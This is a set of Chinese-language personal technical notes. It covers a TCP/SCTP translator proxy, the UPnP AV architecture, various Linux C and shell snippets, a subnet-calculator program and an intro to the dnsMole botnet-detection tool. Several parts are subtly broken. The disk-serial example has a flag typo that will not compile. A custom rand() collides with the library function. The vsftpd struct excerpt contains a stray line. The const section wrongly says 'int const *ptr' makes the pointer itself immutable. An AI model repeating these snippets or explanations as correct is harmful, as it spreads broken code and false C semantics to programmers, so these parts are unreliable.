Chang等學者 \[3] 在2005年提出了TCP/SCTP通訊協定轉換機制的proxy網路架構與概念，於TCP與SCTP協定間進行轉換，讓TCP端點設備可透過SCTP proxy轉換伺服器而能夠與使用SCTP之端點通訊。在圖3表示TCP/SCTP translator之轉換能夠在傳輸層對於TCP與SCTP通訊協定直接進行轉換，因此可以讓單獨運作TCP與SCTP通訊協定之端點設備可透過TCP/SCTP translator之代理轉換而互相通訊。

<figure><img src="/files/r2CG91Ix4uD8cxMhIMos" alt=""><figcaption><p>圖3、TCP/SCTP translator網路堆疊圖（一）</p></figcaption></figure>

TCP轉換至SCTP通訊協定過渡期間所面臨的情況，即當兩端點皆為TCP通訊協定時，如圖4所示，需要分別架設一部TCP/SCTP translator用以將一方端點網路所傳輸之TCP訊息轉換為SCTP訊息後傳輸至另一方，並再將接收之SCTP訊息轉換還原為TCP訊息，再傳送給TCP端點。

<figure><img src="/files/VltOGCypkj0iXBGGAg5K" alt=""><figcaption><p>圖4、TCP/SCTP translator網路堆疊圖（二）</p></figcaption></figure>

圖5為TCP/SCTP轉換之示意圖，TCP node (A) 傳送之TCP訊息在經過TCP/SCTP translator (C)時，整個TCP訊息會被拆解並且對應為SCTP訊息，再以SCTP通訊協定將資料傳輸至TCP/SCTP translator (D)，而當TCP/SCTP translator (D) 接收到SCTP訊息時，會將SCTP訊息拆解恢復為對應之TCP訊息後，再轉送給TCP node (B)。這樣的轉換方式不需更動兩端點之網路設備與設定就能夠達到以SCTP通訊協定代替TCP通訊協定傳輸資料之目的。

<figure><img src="/files/O6C5O6SR1OenwGnXcgye" alt=""><figcaption><p>圖5、TCP/SCTP轉換示意圖</p></figcaption></figure>

在TCP/SCTP訊息轉換的處理方面，圖6為初始連線的轉換流程，當TCP node (A) 與TCP node (B) 建立TCP連線時，需要進行三向交握的連線過程，由圖6可知，當TCP node (A) 送出的TCP之SYN訊息在經過TCP/SCTP translator (C) 時，TCP的SYN訊息會轉換為SCTP之INIT訊息，並且在傳送到TCP/SCTP translator (D) 時，再將SCTP INIT訊息轉換為原本TCP SYN訊息並傳送至TCP node (B)，將TCP通訊協定初始連線所使用的封包與SCTP通訊協定初始連線之封包互相對應轉換，而完成連線建立之目的。

<figure><img src="/files/wSUEwveijgkfHutSIMju" alt=""><figcaption><p>圖6、初始連線流程圖</p></figcaption></figure>

在結束連線的過程，如圖7所示，TCP通訊協定以四向交握方式終止連線，需要由節點雙方提出結束連線之請求才會完全中斷連線，而SCTP通訊協定僅以三向交握終止連線，僅需要一方提出終止連線就會中斷連線，並沒有TCP通訊協定之半關閉（half-closed）狀態。

<figure><img src="/files/aNv90FOsS8novmnyTU7y" alt=""><figcaption><p>圖7、終止連線流程圖</p></figcaption></figure>

TCP/SCTP translator之設計概念是將TCP通訊協定之封包格式與功能與SCTP通訊協定相互對應，因而，當translator收到TCP通訊協定之封包時，能夠轉換為SCTP通訊協定之封包訊息。同理，在接收到SCTP訊息時也能夠轉換為TCP通訊協定之封包。TCP/SCTP translator之概念亦具有通透性（transparent）之優點，原本之網路環境可不需要進行任何變更則能夠使用，轉換的方式是於傳輸層直接進行TCP與SCTP通訊協定之轉換。

本文探討了目前的SCTP proxy之設計與實作，SCTPGATE之實作結合了SOCK v4協定，SOCK協定屬於傳輸層與應用層之間。而TCP/SCTP translator之概念為傳輸層TCP通訊協定與SCTP通訊協定之間的直接轉換，然而，實作TCP/SCTP translator需要更深入設計TCP與SCTP通訊協定之間的轉換，需要完整的處理協定間功能的對應。

參考文獻

\[1] T.C. Huang, Design and Implementation of TCP-Compatible SCTP Vertical Handoff Platform for All-IP Heterogeneous Networks, Master Thesis, Department of Computer Science, National Tsing-Hua University, HsingChu, Taiwan, 2005.

\[2] Y. D. Lee, SOCKS: A Protocol for TCP proxy across firewalls, <http://archive.socks.permeo.com/protocol/socks4.protocol>.

\[3] L.H. Chang, J.J. Lo, H.J. Lin, C.L. Lo, and C.F. Tai, “The Design and Analysis of SCTP Proxy”, The 11th Mobile Computing Workshop, Chang Gung University, Taoyuan, Taiwan, March 31, 2005.


# UPnP 與 UPnP AV

Aaron Liao

UPnP \[1]\[2] 為1999年Microsoft所提出的架構，目的在於使設備之間能夠透過UPnP通訊協定知道彼此的存在，以達到Zero Configuration的目標，因此只要設備具備UPnP協定，當新增該設備於網路環境中時，就能夠使用與控制。UPnP規格定義了三項主要的元件，分別是CP (control point)、裝置 (Device) 與服務 (Service)，CP能夠找尋到目前UPnP網路中的可用裝置，並透過UPnP協定進行控制。而一個裝置可以提供多個服務，並且提供服務的資訊給CP。而服務為UPnP 網路中最小的單位，CP透過發出動作(action)參數給服務，可修改服務的狀態變數，而服務會將修改後的狀態變數提供給所有訂閱該服務的CPs。

UPnP 裝置間溝通的運作流程可分六個步驟，依序為：(1)Addressing (2)Discovery (3) Description (4)Control (5)Eventing (6) Presentation，分別描述如下：

(1) Addressing：

UPnP裝置在加入網路時，會要求取得一組網路位址，因此會先透過DHCP client發出DHCP Discovery訊息探測網路上是否有DHCP伺服器，並且向DHCP伺服器請求一組位址，若網路上沒有DHCP伺服器，則裝置將利用Auto IP自行產生一組IP位址。

(2) Discovery：

當裝置取得位址，會透過週期性的群播 (Multicast) discovery訊息來自我介紹，訊息內容包含了裝置本身的資訊與所包含的服務，所以CP就能夠透過discovery訊息得知有新的裝置提供服務。若加入網路的裝置是CP，則是透過單次群播搜尋網路中有興趣的裝置，並且得知該裝置所提供的服務。如果CP需要使用該裝置的服務，則會利用discovery訊息的內容向裝置取得XML格式的Description。

(3) Description：

CP透過裝置的discovery訊息內容取得描述裝置資訊與服務的XML檔案。

(4) Control：

透過description階段取得裝置與服務之描述檔。

(5) Eventing：

當有CP控制某個裝置並改變了該裝置中的服務狀態，該裝置需要通知已與它註冊的CPs。

(6) Presentation：

若裝置提供控制的網頁介面，則CP能夠透過此介面控制裝置。

UPnP AV

UPnP AV \[3] 基於UPnP架構對於影音傳輸所規範的標準，UPnP AV定義了CP (Control Point) 與裝置(Device)之間的互動模式。UPnP AV架構如圖所示， UPnP AV的定義中包含三項元件，分別是(a) CP (b) MS (Media Server) (c) MR (Media Renderer)，以下分別對三者進行描述：

(a) CP為協調與設定MS及MR的運作，當設定完成時，MS與MR會依照CP的設定建立連線，CP通常具備使用者介面，使用者透過此介面來設定控制MS與MR。

(b) MS主要為提供影音內容，透過家庭網路分享影音資料，使用者可以透過CP得知MS內的多媒體資料，MS可以是錄放影機、DVD撥放器、衛星/電纜接收器、CD撥放器或MP3撥放器等，MS設備上包含三種服務：CDS (Content Directory Service)、CMS (Connection Manager Service) 與AVT (AV Transport Service)。CP透過CDS服務瀏覽或搜尋MS所提供的影音目錄，其中的browse( )動作 (action)可以讓 CP得到影音內容相關的詳細資料，包含檔名、作者、檔案大小、影音的內容、影音傳輸協定與內容格式。CP 透過CMS通知MS準備一個即將開始的傳輸，若MS具有影音傳輸的服務，則透過動作回覆CP一個影音傳輸服務的識別碼(Instance ID)，用以識別多個影音傳輸服務的instance，每一個影音傳輸服務的instance 代表一個由MS到MR之間連線 (connection)，當CP要結束一個連線時，可以透過CMS的Connection Complete()動作釋放連線。AVT提供CP可以控制影音資料播放的動作，如停止播放、暫停播放、取得影片播放時間、設定影片播放時間等。

(c) MR為播放影音資料的設備，CP透過RCS (Rendering Control Service) 提供的動作控制MR撥放這些影音內容，包含設定畫面明亮度、對比、及調整音量等。

<figure><img src="/files/mK3axmg6Ng8Tw86uIfO8" alt=""><figcaption><p>UPnP AV架構圖</p></figcaption></figure>

如上圖所示，影音資料的內容由MS所提供，CP透過CDS服務的browse() 動作取得MS影音目錄，並透過AVT 服務將影音的URI通知MR，而CP也是透過AVT服務控制MR影音播放、暫停、停止等動作，至於影音資料的傳輸則是由MR透過Out-of-Band的方式與MS傳輸，影音資料的傳輸不會透過CP轉送。

參考文獻

\[1] Universal Plug and Play, <http://www.upnp.org/>.

\[2] UPnP Forum, UPnP Device Architecture 1.0, 2003.

\[3] UPnP Forum, “UPnP AV Architecture v1.0”.


# Linux 程式設計


# \[C] 產生亂數

傳回一個 0 \~ RAND\_MAX 的整數, 以 nano second 為 seed, 需要 librt (-lrt)

```c
#include <stdlib.h>
#include <time.h>

long gen_rand(void)
{
    struct timespec tv;
    clock_gettime(CLOCK_MONOTONIC, &tv);
    srandom( tv.tv_nsec );

    return random();
}
```

傳回一個 0 \~ 1 的小數

```c
double rand(void)
{
    return ( (double) gen_rand() / (double) RAND_MAX );
}
```


# \[C] Pointer and array

Here, we define a pointer named ptr to point to a memory block whose size is (1024\*sizeof(char)).

char \*ptr = malloc( sizeof(char) \* 1024);

The value of sizeof(ptr) is the size of ptr, and the value of sizeof(\*ptr) is the size of the first character in the memory block pointed by ptr.

If we define an array whose size is 1024 characters:

char array\[1024];

The value of sizeof(array) is (1024 \* sizeof(char)).

However, sizeof(\*array) is sizeof(char).

Because \*array means \*(array+0) which is equivalent to array\[0], we get the size of the first item in array.

For example, array\[2] = \*(array+2) = \*(2+array) = 2\[array]

We use memset(array, 0, sizeof(array)) to clean the array.

However, if we want to clean the memory pointed by ptr, we have to record the size of the memory ourselves.

For example, we use buf\_size to record the size of memory pointed by ptr.

buf\_size = ( sizeof(char) \* 1024 ); ptr = malloc(buf\_size); memset(ptr, 0, buf\_size);


# \[Script] strncmp

Aaron Liao, 2022

Write a strncmp-like fuction with shell script.

```shell
#!/bin/bash

function _strncmp
{
    local str1=${1}
    local str2=${2}
    local i=0

   while [ ${i} -lt ${#str2} ];
    do
        if [ "${str1:i:1}" != "${str2:i:1}" ]; then
            return 1;
        fi

       i=$(expr ${i} + 1)
    done

   return 0;
}

_strncmp "hello world" "hello"

if [ $? -eq 0 ]; then
        echo "matched"
else
        echo "mismatched"

fi
```


# \[C] Linux 取得 HD 序號

```c
#include <stdio.h>
#include <linux/hdreg.h>
#include <fcntl.h>

int main(int argc,char **argv)
{
    int fd;
    struct hd_driveid id;
    fd = open (argv[1], O_RDONLYO_NONBLOCK);

    if ( ioctl(fd, HDIO_GET_IDENTITY, &id)) {

        printf("ERROR!!\n");
        exit(1);
    }

    printf("%s serial-> %s\n", argv[1], id.serial_no);

    close( fd );
}
```


# \[C] 程式範例-切割 subnet

為了學校作業寫的程式，用途是可將一大 IP 網段切割為數個小 subnet 輸出\
\
問題敘述：試設計一程式，Input 為 IP與subnet的大小，Output為所有的 subnets 與 netmask。\
\
編譯環境：\
\
於UNIX, Linux, BSD, OS 上編譯：\ <br>

> gcc cidr.c -o cidr -Wall -lm

\>> 執行格式說明：\ <br>

> $ ./cidr \[IP address] \[number of hosts per subnet]\
> \
> \[ IP address ] 為IPv4位址\
> \
> \[ number of hosts per subnet ] 為每個子網域中的主機數目\
> \
> 範例：./cidr 192.168.0.0 8

\
流程說明\
\>> 取得INPUT資料：\
\
1\. 取得IP與每個subnet的host數目。\
\
2\. 檢查IP的格式是否正確。\
\
3\. 將十進位IP轉為二進位格式。\
\
4\. 檢查該IP屬於哪一種 class (A/B/C)。\
\
5\. 根據該IP的class取得預設之netmask。\
\
6\. 根據使用者輸入的 host 數目來求切割後subnet的netmask。\
\
7\. 計算該網段可切割為幾個subnet。\
\
8\. 輸出所有的subnet與netmask。\
\
\>> 輸出的資料儲存於”output.txt”。\
\
執行結果：\
\
說明：<br>

> \
> 1.$ ./cidr 192.168.1.0 8\
> \>> 代表192.168.1.0此網段要切成每個subnet有8個hosts。\
> \
> 2.IP: 192.168.0.0\
> \
> 3.IP (bin): 11000000 10101000 00000000 00000000 >> 轉成二進位的IP。\
> \
> 4.Class: C >> 代表該IP屬於Class C。\
> \
> 5.Default netmaek: 255.255.255.0 >> class C預設 netmask 為 255.255.255.0。\
> \
> 6.Default netmask (bin): 11111111 11111111 11111111 00000000 >> 轉成二進位。\
> \
> 7.\[Input] Host number/subnet: 5: >> 輸入每個subnet的hosts數目。\
> \
> 8.\[FixTo] Host number/subnet: 8 >> 將 5 修正為最接近的hosts合法數目 8。\
> \
> 9.Host id: 3 >> host id 的 bit 數。\
> \
> 10.Subnet netmaek: 255.255.255.248 >> 計算出的每個subnet netmask。\
> \
> 11.Subnet netmask (bin):\
> 11111111 11111111 11111111 11111000 >> 轉成二進\
> \
> 12.Subnet number: 32 >> 總共可以切割成 32 個 subnet。

<br>

```c
/* Date: May, 2006
*
* Input:
* IP and the size of subnet
* Output:
* All subnets and the netmask
*
* Ref.
* [1] TCP/IP Protocol suite 2nd, chap 4 and chap5
* [2] http://www.study-area.org/network/network_ip_addr.htm
*
* Aaron Liao
*/

#include <stdio.h>
#include <math.h>
#include <string.h>
#include <stdlib.h>


#define DEBUG 1
#define IP_ADDR_CLEN 16
#define IP_ADDR_BLEN 32

enum 
{ TRUE = 0, FALSE };

/* class A 0
* class B 10
* class C 110
* Class D 1110
* Class E 1111
*/

enum ip_type
{ classA = 0, classB, classC, classD, classE };

int chk_class (char *bip);
int out_class (unsigned char class);
int get_orig_mask (unsigned int class, char *mask, char *bmask);
int get_new_mask (unsigned int host_bit, char *mask, char *bmask);
int no_buf (void);
int chk_ip (char *ip);
int get_host_num (unsigned long long *host, char *num,
    unsigned int class, unsigned int *host_num);
int get_subnet_num (unsigned int class, unsigned int host_id,
      unsigned int *sub);
int get_IP (char *ip, char *arg, char *bip);
int dec2bin (unsigned char *ip, unsigned char *bip);
int bin2dec (unsigned char *bip, unsigned char *ip);
int out_bin (char *str);
int out_subnet (char *bip, char *mask, unsigned int subnet_num,
  unsigned int host_num, unsigned int host_id);
int usage (void);

int
chk_class (char *bip)
{
  if (!bip[0])
    return classA;

  if (!bip[1])
    return classB;

  if (!bip[2])
    return classC;

  if (!bip[3])
    return classD;

  return classE;
}

int
out_class (unsigned char class)
{
  printf ("\tClass: ");

  switch (class)
  {
    case classA:
      printf ("A\r\n");
      break;
    case classB:
      printf ("B\r\n");
      break;
    case classC:
      printf ("C\r\n");
      break;
    case classD:
      printf ("D\r\n");
      break;
    case classE:
      printf ("E\r\n");
      break;
    default:
/* should never */
      printf ("?\r\n");
      break;
    }

  return 0;
}

int
get_orig_mask (unsigned int class, char *mask, char *bmask)
{
  switch (class)
  {
    case classA:
      strcpy (mask, "255.0.0.0");
      break;
    case classB:
      strcpy (mask, "255.255.0.0");
      break;
    case classC:
      strcpy (mask, "255.255.255.0");
      break;
    default:
      break;
    }

  printf ("\tDefault netmaek: %s\r\n", mask);

  dec2bin (mask, bmask);
  printf ("\tDefault netmask (bin): ");
  out_bin (bmask);

  return 0;
}

int
get_new_mask (unsigned int host_bit, char *mask, char *bmask)
{
  unsigned int count, i;

  for (count = 0; count < IP_ADDR_BLEN; count++)
       bmask[count] = 1;

  for (count = (IP_ADDR_BLEN - 1), i = host_bit; i > 0; i--, count--)
      bmask[count] = 0;

  bin2dec (bmask, mask);

  printf ("\tSubnet netmaek: %s\r\n", mask);

  printf ("\tSubnet netmask (bin): ");
  out_bin (bmask);

  return 0;
}

int
no_buf (void)
{
  setbuf (stdout, 0);
  return 0;
}


int
chk_ip (char *ip)
{
  unsigned int count, i, state, error, count_num;
  char *ptr = NULL, tmp[IP_ADDR_CLEN];


/* check there are three '.' */
  for (i = 0, count = 0; i < IP_ADDR_CLEN; i++)
    {
      if (ip[i] == '.')
          count++;
    }

  if (count != 3)
    {
      printf ("\t--> Error: [IP][.][%d] Incorrect IP format.\n\n", count);
      return FALSE;
    }

/* Check [0-9] and '.' */
  for (i = 0; i < IP_ADDR_CLEN; i++)
    {

      if (ip[i] == '.' || (ip[i] >= '0' && ip[i] <= '9'))
           continue;

      if (ip[i] == '\0') /* End of string */
           break;

      printf ("\t--> Error: [IP] only [0-9] and '.'\r\n");
      return FALSE;
    }


  strcpy (tmp, ip);
  ptr = strtok (tmp, ".");

  while (ptr != NULL)
  {
      if (atoi (ptr) > 255)
      {
         printf ("\t--> Error: [IP][%d] Incorrect IP format.\n\n",
         atoi (ptr));
         return FALSE;
      }

      ptr = strtok (NULL, ".");

    }

/* check the order of number and '.'
* Format: number.number.number.number
*/
  for (i = 0, error = 0, state = 0, count = 0, count_num = 0; i <
       strlen (ip); i++)
  {


      switch (state)
      {

           case 0:  /* '.' at the head */
             if (ip[i] == '.')
               error = 5;
             else
               {
                 state = 1;
                 count_num++;
               }

             break;

           case 1:  /* mid-number */

             if (ip[i] == '.')
             {
                 state = 2;
                 count++;
                 count_num = 0;
             }
             else
             {
                 count_num++;
             }

     /* number is limited to three digits */
            if (count_num > 3)
               error = 1;

             break;

           case 2:  /* . */
          
             if (ip[i] == '.' || count > 3 || count_num > 3)
                  error = 2;

             state = 1;
             count_num++;
             break;

           default:
             error = 4;
             break;
      }

      if (error)
      {
        printf ("\t--> Error: [IP][Regular][%d] ", error);
        printf ("There are some errors.\r\n");
        return FALSE;
      }

    }

  if (ip[i - 1] == '.')
    {
      printf ("\t--> Error: [IP][.] Can't end with '.'\r\n");
      return FALSE;
    }

  return TRUE;
}

/*
* ip[]: "210.125.0.0"
* bip[]: 11010010011111010000000000000000
*/
int
dec2bin (unsigned char *ip, unsigned char *bip)
{
  char *ptr = NULL;
  unsigned char dec_ip[4] = { 0, 0, 0, 0 };
  int count, j;

  ptr = strtok (ip, ".");
  for (count = 0; count < 4; count++)
  {

      if (ptr != NULL)
      {

        dec_ip[count] = atoi (ptr);
        ptr = strtok (NULL, ".");

      }
      else
      {
          /* Error */
          return FALSE;
      }
   }

/* dec-to-binary */
  for (j = 3; j > (-1); j--)
  {
      for (count = 7; count > (-1); count--)
      {
        bip[8 * (j + 1) - count - 1] = ((dec_ip[j] & (1 <<(count))) > 0 ? 1 : 0);
      }
  }

       return TRUE;
  }

int
bin2dec (unsigned char *bip, unsigned char *ip)
{
  int i, j;
  unsigned int dec_ip[4] = { 0, 0, 0, 0 };

/* Support unsigned only */
  for (i = 0, j = 0; i < IP_ADDR_BLEN; i++)
  {
      unsigned char _offset = i % 8;

      if (_offset == 0 && i)
      {
        j++;
      }

      dec_ip[j] += (bip[i] <<(7 - _offset));
  }

  sprintf (ip, "%d.%d.%d.%d", dec_ip[0], dec_ip[1], dec_ip[2], dec_ip[3]);

  return 0;
}


/* Input: the number of hosts per subnet
* The number of host(s) must be the power of 2.
* 2^0, 2^1, ... , 2^32
*/
int
chk_host_num (unsigned long long num)
{
  unsigned int error, count;

/* Must be even */
  if (num % 2)
    return FALSE;

/* check if the power of 2 */
  for (count = 0, error = 1; count < 32; count++)
  {
      if (num == (1 << count))
           error = 0;
  }

  if (error)
    return FALSE;

  return 0;
}

int
get_host_num (unsigned long long *host, char *num,
       unsigned int class, unsigned int *host_id)
{
  unsigned int count;
  const unsigned int max_len = 32;
  unsigned long long max_hosts;

  switch (class)
  {
    case classA:
      max_hosts = pow (2, 24); /* powl */
      break;
    case classB:
      max_hosts = pow (2, 16);
      break;
    case classC:
      max_hosts = pow (2, 8);
      break;
    default:
      return FALSE;
      break;
  }

  for (count = 0; count < max_len && num[count] != '\0'; count++)
  {
      if (num[count] < '0' || num[count] > '9')
      {
         printf ("\t--> Error: [Host_num] limited to be [0-9]\r\n");
         return FALSE;
      }
  }

  (*host) = atoll (num);

  if ((*host) < 2)
  {
      printf ("\t--> Error: [Host_num][%llu] is too small.\r\n", (*host));
      return FALSE;
  }

  if ((*host) > pow (2, 32))
  {
      printf ("\t--> Error: [Host_num][%llu] is too large.\r\n", (*host));
      return FALSE;
  }

  if ((*host) > max_hosts)
  {
      printf ("\t--> Error: [Host_num][Max: %llu] %llu is too large.\r\n",max_hosts, (*host));
      return FALSE;
  }

  printf ("\t[Input] Host number/subnet: %llu\r\n", (*host));

  for (count = 0; count < 32; count++)
  {

      if ((*host) <= pow (2, count))
      {
        (*host) = pow (2, count);
        (*host_id) = count;
        break;
      }
  }

  printf ("\t[FixTo] Host number/subnet: %llu\r\n", (*host));
  printf ("\tHost id: %d\r\n", (*host_id));

  return 0;
}

int
get_IP (char *ip, char *arg, char *bip)
{

  if (strlen (arg) > IP_ADDR_CLEN)
  {
      printf ("\t--> Error: [IP] %s incorrect format.\r\n", arg);
      return FALSE;
  }


  if (strlen (arg) > IP_ADDR_CLEN)
       strncpy (ip, arg, IP_ADDR_CLEN);
  else
       strncpy (ip, arg, strlen (arg));

  if (chk_ip (ip))
       return FALSE;

  printf ("\tIP: %s\r\n", ip);

  dec2bin (ip, bip);
  printf ("\tIP (bin): ");
  out_bin (bip);

  return 0;
}

int
get_subnet_num (unsigned int class, unsigned int host_id, unsigned int *sub)
{
  unsigned int tmp;

  switch (class)
  {

    case classA:
      tmp = (24 - host_id);
      break;
    case classB:
      tmp = (16 - host_id);
      break;
    case classC:
      tmp = (8 - host_id);
      break;
    default:
      return FALSE;
      break;
  }

  (*sub) = pow (2, tmp);
  printf ("\tSubnet number: %d\r\n", (*sub));

  return 0;
}

int
out_bin (char *str)
{
  unsigned int count;

  for (count = 0; count < IP_ADDR_BLEN; count++)
  {

      printf ("%d", str[count]);

      if (count > 0 && !((count + 1) % 8))
           printf (" ");
  }

  printf ("\r\n");
  return 0;
}

int
out_subnet (char *bip, char *mask, unsigned int subnet_num,
     unsigned int host_num, unsigned int host_id)
{
  unsigned char ip[IP_ADDR_CLEN];
  unsigned int i, j, k;
  FILE *fp = NULL;

  if ((fp = fopen ("output.txt", "w")) == NULL)
    printf ("Can't open output.txt\r\n");

  if (fp)
  {
      fprintf (fp, "Output: \r\n");
      fprintf (fp, "netmask: [ %s ]\r\n", mask);
  }

  printf ("Output: \r\n");
  printf ("netmask: [ %s ]\r\n", mask);

  for (i = 0; i < subnet_num; i++)
  {

      bin2dec (bip, ip);

      if (fp)
          fprintf (fp, "Subnet %d: [ %s - ", i + 1, ip);

      printf ("Subnet %d: [ %s - ", i + 1, ip);

      for (j = 0; j < host_num - 1; j++)
      {

          /* binary increment */
          for (k = (IP_ADDR_BLEN - 1); k > 0; k--)
          {

             bip[k] = (!bip[k]);

             if (bip[k] == 1)
             break;
          }
      }

      bin2dec (bip, ip);

      if (fp)
          fprintf (fp, "%s ]\r\n", ip);

      printf ("%s ]\r\n", ip);

/* add 1 */
      for (k = (IP_ADDR_BLEN - 1); k > 0; k--)
      {

        bip[k] = (!bip[k]);

        if (bip[k] == 1)
          break;
      }

    }

  if (fp)
    fclose (fp);

  return 0;
}

int
usage (void)
{
  printf ("Usage: cidr [IP address] [number of hosts per subnet]\r\n");
  printf ("\t ex. cidr 192.168.0.0 8\r\n");
  return 0;
}

int
main (int argc, char *argv[])
{

  unsigned char ip[IP_ADDR_CLEN], bip[IP_ADDR_BLEN], mask[IP_ADDR_CLEN], bmask[IP_ADDR_BLEN];

/* The number of hosts should be even, and the power of two,
* But I allow the user to use any number of hosts between
* 2^0 and 2^32. Then I calculate the approach value. ex.
* They want 5 hosts per subnet, and I find 8 hosts per subnet.
*/
  unsigned long long host_num;
  unsigned int host_bit, ip_class, subnet_num;

/* clean the output.txt */
  fclose (fopen ("output.txt", "w"));

  memset (ip, '\0', IP_ADDR_CLEN);
  no_buf ();   /* Don't buffer the standard output */


  if (argc < 3 || argv[1] == NULL || argv[2] == NULL)
  {
      usage ();
      return FALSE;
  }


  if (get_IP (ip, argv[1], bip))
     return FALSE;

/* Get class of IP and normal netmask */
  ip_class = chk_class (bip);
  out_class (ip_class);

  if (ip_class == classD || ip_class == classE)
    return FALSE;

  get_orig_mask (ip_class, mask, bmask);

/* Get the number of hosts */
  if (get_host_num (&host_num, argv[2], ip_class, &host_bit))
    return FALSE;

/* calculate the new netmask of subnet */
  get_new_mask (host_bit, mask, bmask);

  get_subnet_num (ip_class, host_bit, &subnet_num);

  out_subnet (bip, mask, subnet_num, host_num, host_bit);

  return 0;
}
```

\ <br>

> ```
> 執行結果範例：
> ```

> ./cidr 192.168.0.0 87\
> \
> IP: 192.168.0.0\
> IP (bin): 11000000 10101000 00000000 00000000 \
> Class: C\
> Default netmaek: 255.255.255.0\
> Default netmask (bin): 11111111 11111111 11111111 00000000 \
> \[Input] Host number/subnet: 87\
> \[FixTo] Host number/subnet: 128\
> Host id: 7\
> Subnet netmaek: 255.255.255.128\
> Subnet netmask (bin): 11111111 11111111 11111111 10000000 \
> Subnet number: 2\
> Output: \
> netmask: \[ 255.255.255.128 ]\
> Subnet 1: \[ 192.168.0.0 - 192.168.0.127 ]\
> Subnet 2: \[ 192.168.0.128 - 192.168.0.255 ]


# C struct 的使用

vsftpd-2.0.3

```c
333 static void
334 copy_string_settings(void)
335 {
338   const struct parseconf_str_setting* p_str_setting = parseconf_str_array;
339   while (p_str_setting->p_setting_name != 0)
340   {
341     if (*p_str_setting->p_variable != 0)
342     {
343       *p_str_setting->p_variable =
344       vsf_sysutil_strdup(*p_str_setting->p_variable);
345     }
346     p_str_setting++;
347    }
348 }
```

\
定義 struct 時也接著定義該 struct 的 variable

```c
99
100 static struct parseconf_uint_setting
101 {
102   const char* p_setting_name;
103   unsigned int* p_variable;
104 }
105 parseconf_uint_array[] =
106 { const char* p_setting_name, unsigned int* p_variable;
107 { "accept_timeout", &tunable_accept_timeout },
108 { "connect_timeout", &tunable_connect_timeout },
109 { "local_umask", &tunable_local_umask },
110 { "anon_umask", &tunable_anon_umask },
111 { "ftp_data_port", &tunable_ftp_data_port },
112 { "idle_session_timeout", &tunable_idle_session_timeout },
113 { "data_connection_timeout", &tunable_data_connection_timeout },
114 { "pasv_min_port", &tunable_pasv_min_port },
115 { "pasv_max_port", &tunable_pasv_max_port },
116 { "anon_max_rate", &tunable_anon_max_rate },
117 { "local_max_rate", &tunable_local_max_rate },
118 { "listen_port", &tunable_listen_port },
119 { "max_clients", &tunable_max_clients },
120 { "file_open_mode", &tunable_file_open_mode },
121 { "max_per_ip", &tunable_max_per_ip },
122 { "trans_chunk_size", &tunable_trans_chunk_size },
123 { 0, 0 }
124 };
125
```

\
下面這段是參考 C++ primer Plus, 4/E 寫的範例：\
\
可在宣告 struct 時，順道給定義兩個變數：John and Mary

```c
struct student
{
  char class;
  int num;
} John, Mary;
```

\
可以在宣告 struct 的時候，一起定義變數，且給定初值：

```c
struct student
{
  char class;
  int num;
} John =
{
  'A',     
  10
};
```

\
下列為宣告為陣列，並給定初值：

```c
struct student stu[2] =          
{
  {'A', 1},  
  {'B', 2} 
};
```


# C 目錄相關

取得程式當前目錄 ...

```c
#include <unistd.h>

char *getcwd(char *buf, size_t size); 
char *get_current_dir_name(void); 
char *getwd(char *buf);

```


# const 修飾詞

const int val1=100, val2=50;

const int \*ptr=\&val1;

ptr=\&val2; (OK)

在這裡，ptr 是一個指向 const interger 的指標，ptr 是可以改變的， 但是 ptr 所指向的 integer 那個變數本身是不可以改變的 (const)。

int val1=100, val2=50; int const \*ptr=\&val1;

ptr=\&val2; (Error)

ptr 是指向 integer 的指標，ptr 所指的位置是不可改變的， 然而，ptr 所指向的 integer 變數內容是可改變的。


# Dangling pointer（懸置指標）

在C語言中，如果一個指標不再使用了，那麼我們應該要在釋放指標所指的記憶體之後，將指標指定為空值（NULL）。

```c
#include <iostream>
#include <string.h>
#include <stdio.h>
#include <stdlib.h> 
 
using namespace std;
int main(int argc, char * argv[])
{
     char *cmd = NULL;

     cmd = new char[16];
     printf("cmd: %p\n", cmd);

     if(cmd) {
         delete [] cmd;
     }

     printf("delete cmd: %p\n", cmd);

     cmd = (char*)malloc(sizeof(char)*16);

     printf("cmd: %p\n", cmd);
     if( cmd ) {
         free(cmd);
     }
     printf("free cmd: %p\n", cmd);

     return 0;
}
```

\
myliao\@my-thinkpad:/tmp$ g++ play.cpp -o play\
myliao\@my-thinkpad:/tmp$ ./play\
cmd: 0x9943008\
delete cmd: 0x9943008\
cmd: 0x9943008\
free cmd: 0x9943008\
\
從程式的結果來看，可以知道，我們 free cmd 之後，cmd 指標並不會自動改為NULL。\
\
這會有什麼問題呢？\
\
如果說你的指標是要重複使用的，如果沒有在 free() 之後，手動將指標修改為 NULL，則之後的程式碼會無法得知該指標所指向的記憶體已經被釋放了。


# dnsmole

Last updated: 2011/02/22

**何為 dnsMole ?**

***

依據官網的說明，dnsMole 的目的是分析 DNS 流量，從 DNS 流量中探測 botnet 的 C\&C (Command and Control) 伺服器與受感染的主機。 這段是摘錄自官網的說明

| <p>dnsMole is designed to <em>analyse dns traffic</em>, and to potentionaly detect botnet C\&C server and infected hosts. It can be used as passive sniffer, and it can analyse already sniffed network traffic dumped in .pcap file format. Algorithms implemented in this tool are based on research and can viewed in following papers:</p><p>1. Anomaly detection for DNS Servers using frequent host selection<br>2. Botnet detection by monitoring group activities in DNS traffic<br>3. Extending black domain name list by using co-occurrence relation between DNS queres<br></p><p>Since all this methods heavily depends on treshold parameters, you can define your own parameters in dnsMole configuration file and in that way increase ( or decrease :) ) chances of positive detection. dnsMole support storing black/white list in memory and in that way it can help classify hosts.</p> |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

***

**安裝**

***

1\. DNS-mole 的官網 : [Domain Name System - Mole](https://web.archive.org/web/20200306075309/http://code.google.com/p/dns-mole/) 2. 筆者的測試環境: Ubuntu Linux 10.04 3. 安裝 DNS-mole，系統需要有安裝 subversion

| svn checkout [http://dns-mole.googlecode.com/svn/trunk/](https://web.archive.org/web/20200306075309/http://dns-mole.googlecode.com/svn/trunk/) dns-mole-read-only |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |

4\. 筆者的系統在安裝過程缺少 sqlite 與 event 等函式庫，需要補安裝

| <p>sudo apt-get install libsqlite3-dev libsqlite3-0</p><p>sudo apt-get install libevent-core-1.4-2 libevent-dev libevent-1.4-2</p> |
